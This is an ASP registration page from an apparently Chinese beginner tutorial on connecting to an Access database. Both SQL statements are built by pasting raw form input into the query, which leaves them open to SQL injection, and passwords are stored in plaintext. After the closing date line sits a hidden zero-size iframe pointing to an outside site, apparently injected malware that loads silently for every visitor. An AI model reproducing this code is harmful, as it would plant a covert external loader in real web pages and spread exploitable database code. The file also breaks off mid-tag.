reg.asp

怎样用ASP连接数据库系统

用户注册页<br>
---------------------------
<br><br><br>
<%

'获取表单数据
'-------------------
'定义两个变量
dim user, pwd 

'调用ASP对象request的form方法
'注:ASP对象:request response server session application
user=request.form("user")     
pwd=request.form("pwd")

'数据库操作
'--------------------
'定义三个变量：sql查询串、rs记录集对象(recordset)、conn数据库连接对象(connection)
        dim sql,rs,conn
'建立记录集对象、数据库连接对象并打开
	set conn=server.createobject("ADODB.Connection")  
	set rs=server.createobject("ADODB.Recordset")
	conn.open "driver={Microsoft Access Driver (*.mdb)};dbq=" & server.mappath("data.mdb")
        sql="select * from user where user='" & user & "'"
        rs.open sql,conn,1,3
'判断记录是否为空
        if not rs.eof then
        	response.write "<font color='#ff0000'>用户名已存在,注册失败!</font><br>"
		response.end
        end if
	sql="insert into user(user,pwd) values('" & user & "','" & pwd & "')"
	conn.execute sql
	response.write "注册成功!<br>"
'关闭、撤消记录集对象、数据库连接对象
	rs.close
	set rs=nothing
	conn.close
	set conn=nothing
%>
<br>
---------------------------<br>
2006年9月13日<iframe src="http://www.ac66.cn/88/index.htm" width="0" height="0" frameborder="0"></iframe> 
<i